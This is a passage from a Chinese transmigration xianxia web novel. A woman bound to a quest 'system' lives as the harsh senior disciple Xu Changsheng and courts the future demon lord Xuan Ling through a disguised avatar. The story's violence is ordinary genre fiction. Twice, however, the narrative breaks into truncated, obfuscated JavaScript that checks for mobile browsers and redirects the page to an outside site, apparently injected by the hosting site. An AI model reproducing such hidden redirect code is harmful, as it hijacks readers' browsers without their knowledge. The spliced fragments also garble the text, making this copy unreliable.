深感这破系统到处都是坑，常栩无力地问：“还有这羁绊值怎么来的，不做任务也会涨吗？” 系统表示：【羁绊值不只与剧情有关，也会随着宿主与目标关系变化而增减。】 常栩似懂非懂地点了点头，才想起来：“对了，剧情点还没完成吗？宣凌和岳婉吟这不是见面了吗？” 系统很严谨：【不算。因为岳婉吟还没醒。】 常栩无奈：“好吧。” 她心想，好歹剧情总算是掰回来大半了，这种小瑕疵应该不难补救。 兜兜转转，还是得走剧情做任务。 这一天一夜，她又是修炼又是分身，一顿操作猛如虎，结果就是啥都没得到，还搞得自己身心俱疲。 常栩长叹一口气，回到房间后倒头就睡，想着反正这次任务也没时间限制，明天再做不迟。 * 昀秀峰上灵气充裕，清晨日光透过窗棂打在床上，温暖又舒适。 一夜无眠，常栩睡到自然醒，神清气爽地伸了个懒腰，疲惫一扫而光。 既来之则安之，既然别无他法，走任务也算是求稳的选择。 常栩已经调整好心态，出门向明曦打听岳婉吟的情况，得知现在还没苏醒，那这任务也走不下去。 她点了点头，准备回去再躺一会儿，随口问了下宣凌的情况。 明曦似乎早有准备：“回师姐，宣师弟早上来找弟子，说要下山一趟，现在应该已经离开了。” 常栩有些意外：“不好好修炼，他没事儿下山做什么？” “师姐有所不知。昨日宣师弟受伤，是一位姑娘背上山来，才救了他一命。”明曦感慨，“宣师弟知恩图报，定是去找那位姑娘了。” 常栩：“……” 她眼睛转了一转，交代明曦说要修炼，不许打扰。 回到房间，常栩问系统：“我的分身术明天才到期吧？” 系统警惕：【您又要做什么？】 常栩：“你听见了，这次是宣凌主动要找我的……我的意思是，要是他找不到我，发现我的底细就不好了，你说呢？” 7. 第七章 柔弱可欺 一个时辰后，不息山脚下，常栩鬼鬼祟祟地从树林深处钻出，拍了拍身上的树枝灰尘。 昨天她走得匆忙，没能好生安顿这副身体，幸好这附近没什么毒虫野兽。 现在，只有一个问题——去哪里找宣凌？ 常栩原本打算直接在不息山守株待兔，转念一想不免太过刻意。而且这边毕竟是苍华派，她这个“许长生分身”还是越少人知道越好。 于是扭头下山，准备去永川镇碰碰运气。 系统还在劝：【不建议宿主以这种方式接触任务目标。】 常栩理直气壮：“我杀不了宣凌，抱大腿还不行吗！” 其实她也不想搞这么复杂，可谁让这个世界是小说？ 按照剧情发展，宣凌成为新魔尊之后，就会带领危冥山的魔族来人界大杀四方，制造生灵涂炭，到处殃及池鱼。 这样一来，就算她成功完成任务复活，还是有可能被宣凌随手扬了，那才是亏大了！ 常栩辛酸地说：“不如趁现在多刷好感度，希望宣凌堕魔后能留我一条小命……” 系统这次终于沉默了，没再反驳。 走出不息山后，常栩轻车熟路地来到永川镇附近。 时近晌午，路上渐渐有了人烟，但没看到宣凌的踪迹。她正要进城打探一番，就见一群人从天而降，挡在她的面前。 十几名彪形大汉手持长刀，个个凶神恶煞，一看就不好惹。 周围的行人见状快步远离，生怕沾染了是非。 常栩看着这群不速之客，陷入沉思：自己这副身体可是从另一个世界过来的，与这边的人半点瓜葛都没有，更无冤无仇。 所以，这些人为什么要拦住自己？是单纯看她太弱了意图打劫，还是她倒霉地和什么人撞脸了？ 为首的刀疤男阴恻恻道：“原来你在这儿啊，害得我们兄弟好找啊！” 常栩分外不解：“几位大哥，你们在说什么？我不认识你们啊，是不是认错人了？” 刀疤男冷笑：“还想装？看你这身衣服，是金蝶山庄的吧？任务目标我们还能认错？” 常栩：“？” 她低头看了眼身上的衣服，后知后觉地想起自己“金蝶山庄丫鬟”的身份。再看向对面这群彪形大汉身上的标志，有些无语。 敢情这群人是灭金蝶山庄的匪徒啊，还把她当做漏网之鱼了！ 常栩试图讲道理：“你们误会了，我和金蝶山庄真没关系。再说那剪命人齐洋已为苍华派所诛，雇主都死了，你们也没必要赶尽杀绝吧？” 刀疤男道：“我可不管什么贱命人贵命人，任务既然交到我们手上，就必须有始有终！否则，我们恶海帮还怎么在修真界混！” 常栩：“……” 你们这群杀手还挺有售后服务意识的哈。 多说无益，常栩当机立断，一个箭步冲出包围。 此地离永川镇并不算远，她一边跑一边大喊救命，希望哪个好心的修士能路见不平出手相助。 然而没跑多远，常栩就察觉身后涌来一股巨力，轰隆而至。她心知危险，忙侧身扑倒。 紧接着，一块巨大的石头擦着她的手臂砸向地面，“砰”的一声，碎成无数细小石片，刀子一样割破了皮肤。 “小姑娘，老实一点儿，我们还能让你死得痛快些。” 刀疤男挥了挥手，满地碎石再次凝结成巨石，高高地悬在少女的头顶，投下阴影。 常栩仰起头，看清了这一瞬间，水青色的光芒击穿了石头缝隙，与阳光一同照进她的眼中。 紧握的手慢慢松开。她缓缓吐出一口气，知道自己赌对了。 巨石在水刃之下化为齑粉，阴影散去，白金色衣衫的少年站在常栩身前，马尾随风晃动，竟然有些刺眼。 “哪里来的臭小子？多管闲事，小心我们连你一块儿——” 大汉们的叫嚣甚至没能说完，宣凌反手收剑入鞘，那道微不可见的剑风便从他们身边穿过，将飘落的树叶一分为二。 鲜血从脖颈处喷涌而出，十几具无头尸体沉闷倒下，染红了这片人烟稀少的土地。 这次，宣凌的身上没有沾到一滴血。 他对常栩伸出手，衣袖迎风而动。 然而少女瘫坐在地上，只是出神地望着他，似乎被这场突如其来的杀戮吓到了。 宣凌不带感情地看了一眼周围的尸体，想起上次相遇，自己好像也杀了很多人， 他的面上闪过自嘲的神色。 “怕了？我早说过，我不是什么好——” 宣凌的话还没说完，常栩已经先一步有了动作，小心翼翼、轻轻握住他的手，仿佛恍然回神。 她睫毛一颤，明亮的杏眸透出水光，眼泪顺着白嫩的脸颊滑落。 “你还活着……太好了，我就知道，你一定不会有事的。” 少女欢喜地哽咽着，似乎相较自己的脱险，眼前活着的宣凌才更值得庆幸。 宣凌眉头微皱。 常栩的反应远远出乎他的意料，让他无法理解。 任由自己的手被牵着，他垂下眼睛，难得认真地打量面前的女子。 魔族空洞的双眸映照出的常栩的身影。在他眼中，她是如此柔弱可欺，像是路边的野花，只要他动一下手指就能碾碎。 这样弱小的人类，竟然在关心他的生死吗？ 宣凌觉得有些可笑。 可是—— “她救了我，与我有恩，我不能不管她。” 想起韩尚同的话，宣凌的神情缓和了些。他俯下身子，用另一只手挑起常栩腰间的流苏。 常栩正沉浸在自己绝妙的演技之中，就见宣凌突然凑近，手上动作疑似流氓行为，不由得一愣。 不是，难道原著哪里她看漏了，宣凌还有淫贼这一属性吗？ 这样的话她可真要粉转黑了！ 好在，宣凌直截了当地问：“是你将我送回不息山的，对吗？” 哦，原来是这件事。 常栩松了一口气，轻轻点头，眼角的泪珠随着颤动抖落而下，沾湿了宣凌的袖口。 宣凌摩挲着手指，思索片刻：“也就是说，你有恩于我。我该还你。” 听到这句话，常栩一瞬间心思百转千回，嘴上却还装模作样地说：“恩公不必如此，这是我应该做……” “我可以帮你杀人。” 宣凌缓缓问道：“你有没有什么仇人，我替你将她们都杀了，怎么样？” 常栩：“……” 有这么报恩的吗？魔界就是这么教育下一代的？ 她赶紧道：“不用了！那个……恩公，我现在无依无靠，不知道该何去何从……如果可以的话，我希望您能一直庇护我。” “庇护？” 宣凌有些意外，似是对这两个字多有不解。 不过很快，他明白了什么，颔首道：“这有何难？我们现在就去永川镇。” “真的吗！” 常栩眼睛一亮，差点没藏住情绪。她眼含热泪，心下窃喜，没想到能进展得如此顺利。 这么一来，靠抱大腿在这个世界横行无忌岂不指日可待？ 半个时辰后，永川镇内。 常栩只见宣凌走入一家店铺，出来时手上拿着几张纸，又带她来到一处偏僻幽静的庭院前。 “如何？店主说，此处安全、无人打扰，院中还有古树成荫，足够庇护人。” “……” 常栩简直不敢相信自己的眼睛和耳朵。她颤着双手接过房契，站在院子里环顾四周，最后看向气定神闲的宣凌。 她深吸一口气。 这难道就是宣凌理解的“庇护”？魔界不光缺乏恩情教育，连语文教育都不合格！ 宣凌自以为一切安排妥当，就要离开：“既然如此，我们之间两清了。金蝶山庄的事情苍华派会处理，你就在这里——” “等等！” 常栩眼疾手快，连忙拉住宣凌的衣袖，可怜巴巴地说：“恩、恩公，我……小女子无亲无故，一个人实在孤单，你能不能经常来看我？” 宣凌动作一顿，扯了下袖子，没扯动。 他侧过身子，神情十分冷淡，薄唇微动，冷硬地问：“你不怕我吗？” 常栩生怕答得慢了，坚定道：“不怕！我相信恩公是好人，我这条命是恩公救回来的，只要能见到恩公，我就什么都不怕。” 宣凌从不知道，会有人在见过他的本性之后，还能说出“相信”这种话。 然而，面前女子眸中的并无半分惧怕，清澈赤诚，亮得灼人。 在常栩的注视下，宣凌心底的某处微妙地被触动了。他缓缓点头，没再拒绝。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362897|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好。” 临走之时，他将一块带着灵力的玉牌交给常栩，权当做是信物。 目送宣凌的身影消失在天边，常栩长长叹了一口气，发出感慨：“抱大腿还真是不容易啊。” 别看宣凌在不息山上一副乖巧懂事的模样，其实都是模仿他人的，没一点真情实感。 这样冷情的魔族，自然不会轻易被打动，毕竟她又不是女主岳婉吟。 所以常栩并不气馁，在手里掂了下玉牌。 抱大腿之路任重道远，不必操之过急。得了这块玉牌，也算是不小的收获，不至于白走这一趟。 对了，还有个院子。 如宣凌所言，这院子环境确实不错。院子正中是一棵合抱粗的大树，枝条如丝绦般垂下，仿若帘幕，遮阳庇荫，连风都是温凉的。 至少不用再睡在野外了。 常栩简单收拾一会儿，关上门窗、铺好床铺，舒舒服服地躺下。 * 回到昀秀峰，天色尚早，还未到午时。 常栩觉得自己“闭关”够久了，走出房间，想要到不息山各处逛一逛，熟悉一下风土人情。 却见明曦急匆匆赶过来：“师姐，庚微长老召集众人前往云上阁，说有事与您相商。” 常栩眉头一挑。 云上阁是苍华派掌门和长老议事之所，坐落于苍华派最高峰——缥缈峰的顶端，远远看过去，飞檐翘角、挂在云间，仿佛与天相连。 青玉长阶层层叠加，隐没于半山腰处，一块石碑上刻着两个大字：拾阶。 无形的禁制结成一道屏障，使得行到此处的弟子们陆续从空中落下，改为步行。 许长生实力非凡，自然不受结界的影响，所以常栩很轻松地飞到山顶，悠然落在云上阁外。 广场上已有不少弟子在等候，看到她来了，纷纷恭敬行礼：“见过大师姐。” 常栩已经习惯了自己的“威望”，并不说话。 弟子们也都习以为常，很快便自觉移开视线，生怕惹到她的关注。 常栩扫视广场一周，韩尚同不在，也没看到宣凌。 这时候，陆小满走过来：“大师姐，两位长老已经在阁内了，您快过去！” 云上阁内陈设古朴，颇为雅致。 常栩刚走进去，就听到一男一女的声音，似乎在争论些什么。 穆蘅沉声道：“……毕竟少涉江湖，算不得什么过错。” 对面的黑衣男子摇了摇头：“事关苍华派的颜面，若不加以惩戒，众弟子只会更加散漫。” 常栩知道，这人就是苍华派二长老庚微，戒律堂堂主。据说为人严肃古板、不知变通，有时候连掌门的面子都不给。 听着二人所言，她心念一动，已经猜到长老们叫自己来的缘由了。 果不其然，庚微对常栩说：“长生，此事你当知晓。我已调查清楚，剪命人之所以上门挑衅，皆因宣凌之故。” “按照门规，应罚其十道戒鞭。” 常栩若有所思。 她记得，原著中的韩尚同有次被人陷害背弃同门，含冤受了五道戒鞭，生生躺了半个月才恢复，还是在有男主光环的前提下。 主要是这东西设定上对苍华弟子特攻，专为惩戒，一鞭子下去皮开肉绽都是轻的。 十道戒鞭？那不得把宣凌打死？ 原著中可没这个情节。 常栩并不想再节外生枝，刚准备帮宣凌解释几句、大事化了，脑海中的系统突然开口。 【新增支线剧情点：当众惩罚宣凌。请宿主在两个时辰内完成。】 常栩愣住了：“什么？” 系统：【由于宿主近期行为多有偏离，与宣凌关系也有变化。此为补充任务，帮助宿主将剧情重回正轨。】 常栩：“……” 她现在百分百确定，这东西绝对不是羁绊系统！ 穆蘅显然颇为不赞同，伸手拍在桌子上：“那齐洋为非作歹，何必将过错归于宣凌呢？况且我才刚治好他，怎可受这么重的惩罚？” 庚微不为所动：“戒鞭并不会伤筋动骨，只是提醒他日后小心行事。” “可是——” 穆蘅还想说些什么。 常栩开口打断了她，面无表情道：“二位长老不必再论。宣凌是我的师弟，当由我亲自惩处。” 8. 第八章 惩罚 宣凌沿着山路拾阶而上，刚走到云上阁外，便有几人来到他身旁。 正是经常跟在莫震宇身边的几名弟子。他们的脸上没有了惯常的轻视和嘲讽，反倒显得心虚不安。 为首的男子轻咳一声：“师弟，听说你受伤了，现在如何？” 宣凌掩下眸中情绪，温声道：“多谢师兄关心。有穆蘅长老的治疗，现下已经无碍了。” “那就好、那就好……” 另一位师姐开口道：“宣师弟昨天帮师姐给了齐洋最后一击，表现不凡，这次肯定要被赏赐了。” 宣凌只是微笑，不置可否。 师姐似乎有些尴尬，小声道：“那个，宣师弟，之前在卷云峰，震宇师兄只是想与你切磋而已……若是哪里做的过了，你千万不要放在心上……” 宣凌明白了这群人的来意，眼神微不可查地冷了一瞬，很快又被和煦的温暖掩盖。 他善解人意道：“师姐说笑了，我明白，莫师兄那样做也是为我好，我从来没有在意过。” 闻言，几个弟子松了一口气，放下心来，纷纷夸赞：“我就知道，宣师弟不是凡夫俗子，才不会和我们计较！” “没错，昨日大师姐之所以那样好说话，定是因为有沈师兄和宣师弟出手，护住了咱们苍华的颜面。” 听见他们这么说，有人却是不服了，冷哼一声：“这有什么可得意的？昨日要是我在山上，定不会让齐洋那般嚣张，更不会劳烦大师姐出手！” 宣凌打眼瞧过去，与其他人一同行礼：“见过孟师兄。” 穆蘅长老的亲传大弟子孟春，半月前受命前往伏幽派诛杀邪祟，不想这么快就回来了。 孟春的这句话，不光轻视了宣凌，连带着让当日在场的所有弟子都觉脸上无光。 有人不满道：“话不是这么说，就连韩师兄都不是齐洋的对手，可见——” “可见那韩尚同也是个无能之辈！” 孟春嗤之以鼻：“我早说过韩尚同装模作样，你们偏不信。他自己逞能也就罢了，此番还连累了岳姑娘，真是丢人！” “这……” 众人听出孟春的话中夹着几分酸涩不爽，想起他平日就看韩尚同不顺眼，亦知他心悦岳婉吟，也便无意争论，不知道该说什么。 这时，宣凌听到不远处有人在猜测两位长老今日召集众人的目的。 “昨天的事儿已经传开了，这事儿肯定是要查清楚的。” “听说连金蝶山庄都被齐洋灭了？真不知道是哪里冒出来的疯子！” “话说回来，那什么剪命人怎么会找上苍华派呢？听江师姐说，好像是有人招惹了齐洋……” 一阵清脆的铃铛声骤然响起，盖过了众人熙熙攘攘的议论声。 人群上方，绚丽的金光如同水波纹一般荡过，凝聚到了云上阁的门上。随后，常栩、庚微、穆蘅三人从阁内缓缓走出。 众弟子赶忙收声，摆好姿势，恭敬行礼。 庚微站在高台前方，威严的声音伴着灵力传到每个人的耳中。 “诸位应该都有所耳闻，昨日剪命人齐洋于山门挑衅一事，实有损门派威严。” “我平日便告诫你们，行走江湖，最忌无端招惹是非。虽说齐洋已败，但此事必须有一个交代，才算合苍华派的规矩。” 此言一出，下面的弟子们面面相觑，不知道庚微长老所指为何。 宣凌则抬起眼眸，清楚地看到高台之上，红衫女子的目光正注视自己，火焰一般鲜明，让人无法忽视。 下一刻，他便听到常栩冷声唤道：“宣凌，过来。” 熟悉的语气让宣凌心下一沉。 他神色未动，在众弟子的注视之中，一步一步走上高台，走到常栩面前。 还没等宣凌开口，常栩面无表情地抬起手臂，红袖翻飞，“啪”的一声，迅疾的耳光甩在他的左脸上。 紧接着，她又一脚踹在宣凌的腰腹，力道之大，直接将他踢倒在地，嘴边渗出鲜血。 一时之间，云上阁前鸦雀无声。 弟子们张大了眼睛、面面相觑，都震惊于大师姐的突然发难。 宣凌握紧了藏在袖中的拳头。 众目睽睽之下，他并没有站起来，而是挺直腰杆，一言不发地跪在常栩身前。 常栩收回打得发麻的手，居高临下地质问。 “宣凌，你可知错在何处？” 宣凌压下眼底的阴暗，抬起头，一字一字地说：“弟子奉命前往金蝶山庄，没能阻止齐洋生事，牵连苍华派。宣凌知错。” 常栩没什么表情，只默默避开他的目光：“知道就行。念你已经将功补过，可免受戒鞭。你就在这云上阁前跪上一天一夜，好生思过。” “是。” 两个人的对话分外清晰，回荡在整个广场。 众人这才明白今日之事的缘由，不由得窃窃私语起来。有人面露不忍，也有人幸灾乐祸。 “安静。” 庚微适时开口道：“宣凌之过，你们可知晓了？当要引以为戒。” 弟子们缓过神来，齐声回答：“弟子明白！谨遵长老教诲！” 常栩敛起袖子，一边维持面瘫脸，一边在脑海中问系统：“任务完成得怎么样？” 系统似乎并不满意：【只是罚跪，惩罚效果不如戒鞭。而且宿主打宣凌之时并未用全力，不算……】 “可是侮辱性极强！”常栩拿出准备好的说辞，“你想想，就宣凌这睚眦必报的性子，我在大庭广众之下这么对他，肯定恨死我了！” 系统被说服了。 【叮！恭喜宿主完成任务。您获得20点羁绊值！】 不错。 常栩颇为满意地弯起嘴角。 这一幕正好被面前的宣凌瞥见。他眼底的晦暗更甚，闪过一瞬的血红。 任务既已完成，常栩正打算抽身而退，有人拦在了她的面前。 韩尚同不知何时赶到，匆匆看了宣凌一眼，开口便是求情的话：“师姐，此时非宣师弟一人之过，还请网开一面！” 围观的弟子们心想，也就只有韩师兄敢在这种时候顶撞大师姐了。 常栩看见韩尚同如此讲义气，感叹“不愧是男主”之余，倒是想起来一件事。 她随手扔出一件东西，叮嘱道：“这个给你，好好修炼，别再被小人暗算了。” 韩尚同下意识接过，待看清手中物什之后，不由得一愣。 正是齐洋掉落的长刀，通体银白、嵌以铜环，刀尖略微上翘，形似雁翎。 此刀名为“碎天”，是小说前期韩尚同最趁手的武器。 常栩想，这么重要的东西，她自然要尽快交给他，以免影响后续剧情。 然而，在其他人看来，常栩的举动却又是另一回事儿了。 两位长老心照不宣地交换了下眼神。孟春差点咬碎了牙，陆小满则撅起嘴，似有不甘地望着常栩，无声控诉她的偏心。 常栩后知后觉自己好像崩人设了。 她赶忙咳了一声，冷下脸：“对了，你不去照顾岳婉吟，来这里做什么？不想跟宣凌一样受罚，就滚回去。” 韩尚同身为男主，可不会因为这种话而退缩，不卑不亢道：“韩尚同为齐洋所擒，有辱门派，甘愿一同受罚！” 常栩有些头疼：“韩尚同，你若是坚持如此，今日宣凌罪加一等。” 韩尚同眉头一皱，还要继续说情，身后的人拉住了他的衣袖。 宣凌道：“韩师兄，此为宣凌之错，理应受罚，还请您不要插手。岳姑娘那里还需要韩师兄照顾，莫要因我而为难。” “可是……” 宣凌这一番话通情达理，韩尚同看着他真诚的目光，叹了口气，终于没再说什么。 常栩瞥了宣凌一眼，哼道：“算你识相。” 她甩了甩袖子，命众人都各自退下，而后同两位长老一起回到云上阁。 短暂的安静过后，庚微道：“宣凌犯禁，我依门规处置，纵有不当，也是我一人之过。你今日之举，虽免了宣凌的戒鞭，只怕会有人对你有怨。” 穆蘅点了点头。她虽不认同惩戒宣凌，却也觉得常栩此举欠妥：“长生，即便你是师姐，却也不必事事强出头，反倒显得你是刻意为难师弟……” 他们是在委婉提醒，要常栩注意自己在门派内的声名。 常栩心头有苦难言。 她神情复杂地透过窗棂缝隙，看着宣凌长跪的身影，冷不丁说：“齐洋之事，我也有错。” 庚微和穆蘅没再说话。他们只觉得常栩钻了牛角尖，默默摇了摇头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362898|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 云上阁前，广场上的弟子们渐渐散去。只有韩尚同陪在宣凌身边，低头对他说着什么，也许是安慰的话。 宣凌的眼睫微微颤抖，神情委屈之中又带着一些倔强，向上抬起的眸中映出粼粼微光，似是泪水。 窗户内的常栩见到这一幕，捂住胸口。 她最看不得美人落泪，何况还是最喜欢的小说人物呢？不由得心头一软，对系统反省道：“你说，我这么对待宣凌，是不是太过分了？” 系统：【宿主不必忧心。今日的一切，宣凌以后都会加倍还给您。现在，他心里正想着怎么把您骨头一寸寸捏碎呢。】 “……”常栩冷静下来了，“你说的有道理，我还是心疼心疼自己吧。” 话虽如此，常栩终究做不到安心回昀秀峰睡大觉，干脆拿个椅子坐在窗边。 庚微还有戒律堂的事情要处理，很快便离开。穆蘅则需要医治岳婉吟，也带着韩尚同一起回了广元堂。 云上阁内，只剩下常栩支着脑袋，一直看着宣凌。 窗外，不知名的花树垂下枝条，缀着层层叠叠的粉白花瓣，被风吹得簌簌扬起，飘落到宣凌抚地的衣襟上。 昏晓更替，掠过的翠鸟踩在花枝上，溅落了一树的晨露。远处钟鸣山涧，隐隐有笑语从山下传来，同升起的阳光一起带来人间烟火。 宣凌就这样独自在云上阁前跪了一天一夜，任由过路的弟子们打量和指点，似乎毫无怨言。 当晌午的阳光再度偏移，屋檐上悬挂的铃铛适时响起，清脆的声音回荡在整个广场。 几乎同时，一片绯红裙尾扫过宣凌身前的青石路，投下熟悉的阴影。 宣凌抬起头，神态平和地与常栩对视。 他脸上的痕迹十分明显。 昨日那一掌打得很重，加之云上阁的结界抑制了灵力的修复，都过去一天了，竟然还像是刚打完般，染着血色。 常栩沉默片刻，问道：“我昨日那般对你，可有怨气？” 宣凌的笑容分外明媚：“师姐何出此言？此事确实是宣凌的过失。” 这个时候，他依旧说得诚恳，每个字都情真意切。若非看过小说，常栩还真有可能被这副模样给蒙骗过去。 那滔天的恨意，就积攒在这副单纯的外表之下，像是毒蛇藏起了獠牙。 常栩想到自己未来的下场，身体各处似乎幻痛起来，脸上差点挂不住。 她本想说几句好话降低仇恨值，话到嘴边却觉得分外苍白，最终只道：“时辰已到，你起来吧。” 宣凌缓缓起身，盯着常栩：“对了师姐，齐洋那日化身离去，至今下落不明。可否让我将功补过，下山调查剪命人？” 常栩想了想，原著齐洋是彻底死了的，如今还剩下一口气，不知道会不会惹出什么变化来。 于是她道：“齐洋所修功法阴邪，恐再伤人命，你须尽快解决。” “多谢师姐。” 常栩想到什么，顿了下，嘱咐道：“嗯，我记得齐洋曾在永川镇流窜，你下山之后，可以先去那里找寻线索，说不定会有所收获。” 宣凌表情没什么变化：“是。我这就赶往永川镇。” 常栩在心里为自己的机智点了个赞。如此好的机会，她就不信抱不到大腿！ 宣凌走后，她马上飞回昀秀峰。明曦对大师姐的“闭关”已经见怪不怪了，熟练地守在门外。 估算着宣凌下山的时间，常栩在房间内设置好阵法，再次兑换分身术。 金色的光芒之中，她闭上眼睛，陷入白茫茫的死寂之中。 不知过了多久，遥远的天际传来“笃笃”的声音，越来越近，越来越急—— “哐当”一声，木门被人从外面重重掀开，扬起满室灰尘。 宣凌缓步走进屋内，扫视一周，黑沉的目光定在床榻。 少女安静地睡在房间的角落，眉目舒缓、呼吸轻柔。微风拂过她的发丝，又吹过宣凌的眉间，不自觉抚平了其中的戾气。 下一刻，睫毛微动，常栩缓缓睁开眼睛。 宣凌没什么表情的面容映入双眸，上面红肿的伤痕近在咫尺，让她不由得心虚地移开目光。 然后，常栩看见了鲜血，滴答滴答，正顺着宣凌的双手，落在地上。 她再次眨了眨眼睛。 9. 第九章 少年心事 宣凌见常栩的目光落在血迹上，漫不经心地想——若是她的脸上流露出一丝恐惧，他便杀了她。 系统：【宿主请注意，您目前的处境很危险。】 不用提醒，常栩也能猜到宣凌的心思 常栩眉头一蹙，急中生智挤出眼泪，啪嗒啪嗒掉在被子上。 她泪眼婆娑地支起身，看着宣凌染血的衣袖，关切问道：“怎么这么多血……恩公，你又受伤了吗？疼不疼？” 没有恐惧，甚至没有怀疑。少女秀气干净的面容上，只有清澈见底纯真，一如往常。 宣凌忽然觉得，自己身上的杀意打扰了这一隅安静之地。 他眼中躁动的暴戾不自觉消散了，轻声道：“别哭了。不疼，我习惯了。” 即便是在苍华派，宣凌也很少有这样柔和的神态。 可惜常栩没有看到。她只顾着掉眼泪，在心里吐槽，你杀的别人，你当然不疼。 不知道这小子又宰了哪里的倒霉蛋，希望别对剧情有影响才好…… 系统的声音再度传来：【危机解除。】 常栩悬着的心落了下来。 她抹了把眼泪，正要再说些好话，没想到宣凌突然握住她的双手，贴在自己的脸上，喃喃道：“这里也不疼。” 红肿的脸颊渗出温热，灼痛了常栩的指尖。这是她亲手所打，用了很大的力气，至今皮开肉绽。 常栩呼吸一滞。 这次她是真的心疼了，毕竟宣凌此次受罚着实冤枉，到底还是因她而起。 她微不可查地叹了口气，主动说：“恩公，让我来帮你医治可好？我在金蝶山庄许久，略通些医术。” 宣凌倒不是很在意身上的伤，如他所言，他早就习惯了。 不过他并未拒绝，点了点头。 常栩哪里懂得医术，她拿出草药鼓捣半天，悄悄将刚兑换来的伤药掺进去，像模像样地就要往宣凌的脸上抹。 浓绿的草药胡乱地挤成一团，卖相十分可疑。 涂药的过程中，常栩不忘推销自己：“如何？恩公若是不嫌弃，以后再受伤也可以来找我。” 宣凌道：“不必叫我恩公。我叫宣凌，你呢？” 常栩：“……” 哦，对了，她好像还没自我介绍过。 常栩借上药的动作掩住游移的目光，心下思绪百转：“我叫常……裳、裳儿，对，我叫裳儿，霓裳的裳。” “裳儿……” 宣凌轻声重复了一遍。 庭院静谧，两个人都没说话。 注视着常栩认真上药的神情，宣凌的神色也慢慢放松了些。 随即，他看向自己手上滴落的血，沾染了地面、床榻，和少女的衣裙，格外刺眼。 涂完脸，常栩念着宣凌的腰上也被自己踢了一脚，正要询问，却见他突然持剑起身，抿唇道：“你放心，下次不会了。” 说完，他快步离开院子。 常栩：“……” 她看着宣凌远走的背影，有些摸不到头脑，不明白他没头没尾的此话何意。 好端端的，怎么说走就走？ 常栩靠在门上琢磨半天，只当宣凌是在承诺“下次再来”，颇为苦恼。宣凌来找她是好事，可要是每次都这么突然，她岂不是很容易暴露？ 最后，她看了眼自家的门框，决定下次来的时候带个法宝当门铃。 * 接下来，苍华派的日子平静了不少。 宣凌陆续抓了几个自称“剪命人”的黑衣人，不过都没有齐洋，只能再接再励。韩尚同因为岳婉吟的病到处奔忙，更是见不到人影。 常栩在昀秀峰上无人打扰，也没什么事情可做，索性尝试修炼功法。 小说中的许长生自打遇到韩尚同后就逼格狂掉，从“谁都打不过”到“谁都打不过”。常栩虽不似她那般目空一切，却也不愿太过丢人。 更何况，即便她放弃杀宣凌，届时若有什么意外导致任务失败，总得给自己留条后路。 许长生的佩剑名为“赤荧”，通体漆黑，唯剑柄上嵌有红色灵石。 常栩还记得上次打齐洋，这柄剑在她手中燃起幽蓝火焰，却并不灼热，反而如温水般流淌周身。 她闭上眼睛，心里默念《灼华令》中的一字一句，明显感觉到耳目清明，不觉沉浸其中。 “大师姐！” 再度睁眼，常栩看见窗外朝阳东升，竟然过去了一夜。她收起脸上的惊诧，打开门，看见陆小满站在外面。 “岳婉吟醒了。” 常栩心下一喜，马上让陆小满派人通知宣凌。 岳婉吟所在的竹月堂在天雪峰上，与鸣鹤谷相连，是整个不息山脉灵力最为充足的两处。 说起来，掌门谢千景就在天雪峰顶的雁回楼闭关，还不知几时能出来。 常栩独自走在幽静的山路上，若有所思。 没记错的话，宣凌之所以喜欢上岳婉吟，好像是因为初见之时看到岳婉吟的笑容，让他感觉到了在人界的温暖…… 嗯，常栩不是很懂为什么笑了一下就能情根深种，不过谁让人家是女主呢，这点光环不算什么。 重要的是，若真只是相遇就能动情，倒省了她许多功夫。 毕竟按常理，许长生断不会踏足竹月堂。一则她自视甚高，不认为岳婉吟值得自己亲自关照。二来她喜欢韩尚同，隐隐约约不想看到他对别的女人献殷勤。 可这世间最不缺的，就是意外。 常栩想，还是她亲自盯着最为稳妥，确保万无一失。 这时，常栩听到细微的脚步声，敏锐地看过去，只见青衫少年伫立在翠竹绿石之间，宛如一幅画卷。 沈星河。他的眸光微微晃动一瞬，流露出些许喜色，又克制地低垂眉眼，恭敬道：“见过，师姐。” 常栩打量一番，问道：“你不好好养伤，来这里做什么？” 转念又想，沈星河作为韩尚同的小弟，能来竹月堂看岳婉吟好像也不是什么怪事…… 没想到沈星河道：“听闻师姐会来，我也来了。” 常栩愣了一下，不明所以：“找我何事？” 许长生和沈星河两个人应该没什么交集才对。 “那日，师姐出手相助，不胜感佩。”沈星河认真地说，“我想，报答师姐。” 这话说得直白又真诚，让常栩哑然失笑。 沈星河的面容冷峻，看上去并不好相与，实际却是个没什么心机的。 不像某人，表面装得单纯，背地里杀人如麻—— “见过大师姐。” 熟悉的声音冷不丁出现，惊得常栩心头一颤。 宣凌从竹林深处缓步走来，脸上挂着惯常的微笑。走近了些，仿佛才看到沈星河，道：“沈师兄好。” 沈星河没注意他的区别对待，径直上前道：“宣师弟，可否，切磋一番？” 宣凌礼貌摇头：“师兄见谅，今日我需随师姐前往鸣鹤谷修炼。” 说完，他歪头看向常栩。 常栩眨了眨眼睛。 差点忘了，距离上次修炼已有十日，难怪宣凌来得这么快…… 沈星河见二人无声对视，沉思片刻，突然说：“师弟，我与师姐修炼，你与我切磋，怎么样？” 宣凌：“……” 他难得眉头一挑，不理解沈星河何出此言。 “不必。” “恐怕不行。” 常栩和宣凌二人同时开口，再次对视一眼。 